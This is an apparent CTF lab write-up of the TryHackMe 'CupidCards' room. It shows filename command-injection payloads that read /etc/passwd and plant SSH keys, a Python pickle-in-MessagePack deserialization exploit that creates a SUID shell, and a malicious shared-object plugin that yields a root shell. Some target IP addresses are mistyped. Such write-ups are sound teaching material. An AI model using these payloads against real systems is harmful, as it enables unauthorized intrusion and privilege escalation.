> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/love-at-first-breach-2026-advanced-track/cupidcards.md).

# CupidCards

{% embed url="<https://tryhackme.com/room/lafbctf2026-advanced?taskNo=3&sharerId=60ac3149c3569700531794d7>" %}

***

## Scenario

> My Dearest Hacker,
>
> Spread the love this Valentine's Day with CupidCards - the web app that lets you create personalised Valentine cards! Upload a photo, add a heartfelt message, and generate a custom card for that special someone.

## Summary

<details>

<summary>Summary</summary>

In CupidCards we begin by enumerating a web service running on port `1337` that allows users to generate personalised Valentine cards. Initial testing reveals no obvious SSTI or template injection, but deeper inspection of the card generation process uncovers a command injection vulnerability in the filename parameter. Although outbound connections are blocked, timing-based payloads confirm command execution. We pivot to file-write primitives, successfully writing arbitrary files into `/opt/cupidcards/cards`, which allows us to copy sensitive files and ultimately inject our SSH public key into `/home/cupid/.ssh/authorized_keys`. This grants us SSH access as **cupid**, where we retrieve the first flag.

Further enumeration reveals matchmaking engine in `/opt/heartbreak` that processes `.love` files using MessagePack and unsafely unpickles the `notes` field. By crafting a malicious pickle payload wrapped in a valid MessagePack structure and placing it into `/var/spool/heartbreak/inbox`, we trigger deserialization-based RCE as `aphrodite`. We first leverage this to create a SUID bash binary, then establish stable SSH access as `aphrodite` and obtain the second flag.

Finally, as `aphrodite` (member of the `hearts` group), we discover a root-owned SUID binary `/usr/local/bin/heartstring` that dynamically loads plugins defined in a group-writable `manifest.json`. Although the plugin directory itself is not writable, the binary’s undocumented `--dev` flag allows loading plugins from the current directory. By crafting a malicious shared object that spawns a privileged shell, adding its hash to the manifest, and invoking the binary in development mode, we achieve `root` execution.

</details>

## Recon

We use rustscan `-b 500 -a 10.81.131.2026 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

We identify port `1337` to be open and serving a website.

```
rustscan -b 500 -a 10.81.131.206 -- -sC -sV -Pn
```

<figure><img src="/files/4VXeyoL79ZjO5EJQdHlA" alt=""><figcaption></figcaption></figure>

We visit the site manually and observe that we can generate greeting cards containing a message, sender, and receiver.

```
http://10.81.131/206:1337
```

<figure><img src="/files/ngG4C2XYlfawDtl6z0ty" alt=""><figcaption></figcaption></figure>

We create a sample card to observe how the application behaves.

<figure><img src="/files/5Aub2gdyQxEHKYja2YY9" alt=""><figcaption></figcaption></figure>

During testing, we include payloads to check for SSTI, command injection, and possible ImageMagick exploits. None of these appear to work at first glance.

<figure><img src="/files/Jqg28A7vao7D13z9p60s" alt=""><figcaption></figcaption></figure>

Inspecting the source code reveals that generated cards are stored under `/cards` with randomly generated names.

<figure><img src="/files/omLPg0abnTmfCgw4mrqo" alt=""><figcaption></figcaption></figure>

## Command Injection&#x20;

We test for command injection via the filename parameter. The filename appears to be validated by structure and file extension, which suggests it might be passed to a system command e.g., via `system()`.

Initial attempts using reverse shells and outbound requests to our listener fail; we receive no callback. However, when testing simpler commands such as `sleep 10`, we observe a noticeable delay, confirming command execution.

<figure><img src="/files/QIdN6hsRhe7qhSoMQURe" alt=""><figcaption></figcaption></figure>

Since outbound connections are blocked, we pivot to writing files directly to the system. If we cannot get a shell, but still be able to write files we can leverage that to enumerate the system or gain further access.

We attempt writing to various directories such as:

* `/var/www/html/cards`
* `/var/www/html/cupid/cards`
* `/var/www/html/cupidcards/cards`
* `/opt/cards`
* `/opt/cupid/cards`
* `/opt/cupidcards/cards`

We succeed with the following path:

```
/opt/cupidcards/cards/pwned
```

```
filename="a$(echo 'pwned'> /opt/cupidcards/cards/pwned).png"
```

<figure><img src="/files/QgNulcgcjCPzeUAaGsWD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PVbFyQV4uKoKageLnUc6" alt=""><figcaption></figcaption></figure>

## Shell as cupid

Now that we can write files, we proceed with enumeration. We copy `/etc/passwd` to a readable location, and identify the following users on the system:

```
filename="a$(cp /etc/passwd /opt/cupidcards/cards/passwd).png"
```

<figure><img src="/files/ltGchPAhXp7nhvakQst6" alt=""><figcaption></figcaption></figure>

... also the current user running.

```
filename="a$(id > /opt/cupidcards/cards/id).png"
```

<figure><img src="/files/RVCrdgQSaoiISbmLP2kL" alt=""><figcaption></figcaption></figure>

Since we know user `cupid` is running the web application we try to write an SSH public key to the `authorized_keys` file in the `.ssh` folder of the user to connect to the system via SSH as `cupid`.

We generate the key pair.

```
ssh-keygen -t rsa
```

<figure><img src="/files/kb5KyeRSzUOAIqYoBy8p" alt=""><figcaption></figcaption></figure>

Now we store the public key to the `/home/cupid/.ssh/authorized_keys` file.

{% code overflow="wrap" %}

```
filename="a$(echo '<YOUR SSH PUBLIC KEY>' > /home/cupid/.ssh/authorized_keys).png
```

{% endcode %}

<figure><img src="/files/POiImnYdoyLNaj1UHWYK" alt=""><figcaption></figcaption></figure>

Next, we use the private key to connect as `cupid` and are successful. We find the first flag in the users home directory.

```
ssh -i id_rsa cupid@10.81.131.206
```

<figure><img src="/files/vg3GBR1CC8FfKxCK72SZ" alt=""><figcaption></figcaption></figure>

## Shell as aphrodite

Initial enumeration shows that cupid is a member of the `lovers` group.

<figure><img src="/files/py5YWf2gLh8nwQW54Ijc" alt=""><figcaption></figcaption></figure>

We discover a directory `/opt/heartbreak` containing multiple Python scripts. The file `match_engine.py` uses `hbproto.py` to decode supplied notes:

<figure><img src="/files/LoCSGSaU6ejKy3sM8Wib" alt=""><figcaption></figcaption></figure>

```
if "notes" in data and isinstance(data["notes"], bytes):
    try:
        notes = hbproto.decode_notes(data["notes"])

```

Inspecting `hbproto.py`, we notice that it loads a pickle object. This opens the door for a deserialization attack to become `aphrodite` if the engine is called by `aphrodite` in a cron job.

```
Φιλία = bytes([112, 105, 99, 107, 108, 101]).decode()  # "pickle"
Καρδιά = bytes([108, 111, 97, 100, 115]).decode()      # "loads"
Амур = getattr(__import__(Φιλία), Καρδιά)
```

#### Engine behavior summary:

* Reads `.love` files from:\
  `/var/spool/heartbreak/inbox`
* Requires valid MessagePack
* Required fields: `from`, `to`, `desire`, `compat`
* `desire` must be ≥ 50 characters
* Optional field:\
  `notes` → if bytes → unpickled
* Deletes the file after processing

#### Exploitation strategy:

1. Create a malicious pickle payload
2. Insert it into the `notes` field as bytes
3. Wrap the structure in MessagePack
4. Save it as a `.love` file
5. Drop it into the spool directory

When the engine processes it we could get remote code execution as `aphrodite`.

We prepare the following exploit which does the entire process depicted before.&#x20;

We use it to generate us a SUID /bin/bash binary owned by the user running the engine.

{% code title="exploit.py" overflow="wrap" lineNumbers="true" %}

```python
import pickle
import msgpack
import os

class RCE:
    def __reduce__(self):
        cmd = (
            "cp /bin/bash /tmp/aphrodite_bash && "
            "chown aphrodite:aphrodite /tmp/aphrodite_bash && "
            "chmod 4755 /tmp/aphrodite_bash"
        )
        return (os.system, (cmd,))

payload = pickle.dumps(RCE())

data = {
    "from": "cupid",
    "to": "aphrodite",
    "desire": "A" * 60,
    "compat": {"sign": "leo", "element": "fire"},
    "notes": payload
}

packed = msgpack.packb(data)

with open("/var/spool/heartbreak/inbox/pwn.love", "wb") as f:
    f.write(packed)

print("Payload dropped.")
```

{% endcode %}

We run the script...

<figure><img src="/files/vaAaQv1oPHhZGI8T4pyQ" alt=""><figcaption></figcaption></figure>

... it places a `pwn.love` file inside `/var/spool/heartbreak/inbox`. After a short duration we see it gets deleted and we see our SUID bash binary in `/tmp`.

<figure><img src="/files/OR40gjGWd24Wnsn6gIBb" alt=""><figcaption></figcaption></figure>

The bash binary is owned by aphordite. Running it with -p tag we receive a shell as `aphrodite`. We find the second flag in the users home directory.

```
./aphrodite_bash -p 
```

<figure><img src="/files/WDdwCGgempOL6JzmAClM" alt=""><figcaption></figcaption></figure>

## Shell as root

First enumeration reveals that the user is memeber of the `hearts` group: `groups aphrodite`&#x20;

But the group is not applied to our session gained with the bash binary. We might need that later.

<figure><img src="/files/dXKzEuZNAU3YSaVtIDMJ" alt=""><figcaption></figcaption></figure>

Upon further enumeration we identify the following SUID binary which can be executed by the `hearts` group and is owned by `root`. We need a more stable session.

```
/usr/local/bin/heartstring
```

<figure><img src="/files/ai1fN0oS0JcZxQc2agCF" alt=""><figcaption></figcaption></figure>

We adapt our `exploit.py` script to write the public key of our previously generated key pair to the `.ssh/authorized_keys` file to connect as aphrodite using SSH.

{% code title="exploit.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import pickle
import msgpack
import os

PUBKEY = """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCN45vfiwus6vHBHDK6iPdNf8f4mZK8SG2UVMKnnDv4sW2BDKcrsdqEV8kzAB/U8afM4T6yzzI1VqMOe9V/cqcyWIHp0ecpW0rEzWLDmZhrLBORT39aNpwW2LTqVFCGg/cUgymKLhVA9HPT+30AfWvUAM9rdyE3WIQck+IQR/KEOCWC0qNfdZMrzEouEHolUg/QwMlvQyBCcArgdV0IT2g1A/teYYD6lwxh4P9NavZ7TMyLzpaPVaQEHCk/6R3+eAlsfwFQXXU/AcpAtVgiuwNCCN4vPCVlHz41lZAM+KtKmPOd5ZcIDcJ5CuG9KJJMmDPnZVkelRcD1ClV2HoBUrPlCBsXi7Zi1yEXoc1nOexfcP/SXQoo30+WSWH6A6m1sb/XaTtaRrO6rQSD+M2jbtWccnafarPbS7T1sl+ZhkibTy81cxAh8PMNBMCdLon2jBAQCkTcY7zyHxf4a4ITYlHjPuSmS/GF0+Jt2SD7jxDre0WaAHma7IV5sYFpDFRhgsE= root@exegol-0xb0b"""

class RCE:
    def __reduce__(self):
        cmd = (
            "mkdir -p /home/aphrodite/.ssh && "
            "echo '{}' > /home/aphrodite/.ssh/authorized_keys && "
            "chown -R aphrodite:aphrodite /home/aphrodite/.ssh && "
            "chmod 700 /home/aphrodite/.ssh && "
            "chmod 600 /home/aphrodite/.ssh/authorized_keys"
        ).format(PUBKEY)

        return (os.system, (cmd,))

payload = pickle.dumps(RCE())

data = {
    "from": "cupid",
    "to": "aphrodite",
    "desire": "A" * 60,
    "compat": {"sign": "leo", "element": "fire"},
    "notes": payload
}

packed = msgpack.packb(data)

with open("/var/spool/heartbreak/inbox/pwn.love", "wb") as f:
    f.write(packed)

print("Payload dropped.")
```

{% endcode %}

We run the script and wait a moment.

<figure><img src="/files/VwwlKL84vhhdDvxQ0mb2" alt=""><figcaption></figcaption></figure>

After a short duration we can connect as `aphrodite` using our private key via SSH.

```
ssh -i id_rsa aphrodite@10.81.131.286
```

<figure><img src="/files/fD931vvQdoq0m8J9wbfb" alt=""><figcaption></figcaption></figure>

Now we are able to run the SUID heartstring binary.&#x20;

It seems like an executable to encrypt and decrypt files. It uses different plugins, shared object .so files, that can be loaded. The path the plugins are loaded from seem to be fixed at `/opt/heartbreak/plugins`. Furthmore it uses a manifest file that has the plugin name and hash of the binary to check the integrity of the plugin. We can write to the manifest file, but cannot add any other plugins to `/opt/heartbreak/plugins` missing the write permissions.

In summary:

* We are in group `hearts`
* &#x20;`manifest.json` is group-writable
* &#x20;Plugin directory is readable/executable by group
* &#x20;`.so` files are owned by `root`

```
/usr/local/bin/heartstring status
```

```
cat /opt/heartbreak/plugins/manifest.json
```

<figure><img src="/files/xir1FLHbjLqzRMxRUlp9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pyfAU5rS0xcpUmGBZuJj" alt=""><figcaption></figcaption></figure>

If it:

* Trusts the manifest
* Loads plugins by name
* Runs as root

Then we can:

1. Add a malicious plugin entry
2. Compile a malicious `.so`
3. Execute it as `root`

The only problem is, that we can't add any plugins to the required folder.&#x20;

We analyze the binary using `strings` to see if anything special pops up.

```
 strings /usr/local/bin/heartstring
```

<figure><img src="/files/K0BuwbUF6GTrW5M13Dih" alt=""><figcaption></figcaption></figure>

We identify another command parameter `--dev`. It looks like the path is not absolute with that parameter.

<figure><img src="/files/ixtTClWT15y27aJCUSZn" alt=""><figcaption></figcaption></figure>

We craft a shared object that sets the process user and group IDs to root and then spawn a privileged `/bin/bash -p` shell.

{% code title="exploit.c" overflow="wrap" lineNumbers="true" expandable="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
void init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

{% endcode %}

We compile the object and calculate the hash.

```
gcc -shared -fPIC exploit.c -o exploit.so
```

<figure><img src="/files/wBkWAd9czEaSkvKzkSKE" alt=""><figcaption></figcaption></figure>

We add our plugin to the `manifest.json`.

{% code title="/opt/heartbreak/plugins/manifest.json" overflow="wrap" lineNumbers="true" %}

```
{
  "plugins": {
    "rosepetal": {
      "hash": "d3c102cb3b2905ebb1997322b57b7175514546db39f1fbc0aa75cbc0e161ca2a",
      "description": "Rose petal animation plugin",
      "version": "1.0"
    },
    "loveletter": {
      "hash": "b47a17238fb47b6ef9d0d727453b0335f5bd4614cf415be27516d5a77e5f4643",
      "description": "Love letter formatter plugin",
      "version": "1.0"
    },
    "exploit": {
      "hash": "a1a1f0cf2cdf76cfb307dc302858dabc878fdac87ce2b6e9a0a6ca62bf6af0e3",
      "description": "Evil formatter plugin",
      "version": "1.0"
    }
  }
}
```

{% endcode %}

Next, we run the `heartstring` binary from the location of our shared object binary with the `--dev` tag. The shared object is loaded and we receive a root shell. We find the final flag at `/root/flag3.txt`.

```
/usr/local/bin/heartstring plugin exploit --dev
```

<figure><img src="/files/JV6gMAqpDqyqux25RZ9b" alt=""><figcaption></figcaption></figure>
